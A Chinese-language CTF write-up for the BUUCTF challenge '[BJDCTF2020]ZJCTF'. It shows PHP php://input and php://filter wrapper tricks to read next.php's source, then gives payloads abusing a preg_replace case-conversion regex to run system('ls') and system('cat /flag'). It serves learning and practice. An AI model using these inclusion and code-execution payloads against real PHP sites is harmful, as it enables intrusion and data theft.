综合RCE
一道综合RCE,考察的东西还是挺多的。
这里所需要的知识首先是php伪协议文件包含,然后是一种大小写替换正则表达式的绕过。
可以先看看这个,加强理论知识理解,事半功倍。
来吧捏麻麻的,开工!
来自:
[BJDCTF2020]ZJCTF,不过如此
前面跟bugku welcome to bugkuctf有点像。
打开界面就是源码审计:
传text和file,然后file不能有flag,按难度来看确实不可能这么简单。
下面有个文件包含,应该是要看next.php。
这里有php://input和php://outpu的解释:
https://blog.csdn.net/qq_27682041/article/details/73326435
强推这个php://filter的妙用解释:
https://blog.csdn.net/wy_97/article/details/77432002
这里第一个是用php://input传text,然后可以用post方法传这个"I have a dream"
第二个使用php://filter读文件的功能,也就是前面加个read的事,php://filter/read=convert.base64-encode/resource=next.php
因为涉及POST传参,总体payload可以放bp整(按道理来说hackbar应该也行,但是我的运行不了....):
接下来直接丢赛博厨子解码,得到源码:
这里就是大小写替换的正则表达式了,原理在上面连接,建议先看。
这里我直接用payload了:
/next.php?\S*=${getFlag()}&cmd=system("ls"); /next.php?\S*=${getFlag()}&cmd=system("ls /"); /next.php?\S*=${getFlag()}&cmd=system("cat /flag");
(注意一定要在next.php后面传哦)
主要就是原理问题。明白原理就很简单了。
分类:
BUUCTF-WEB刷题集
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通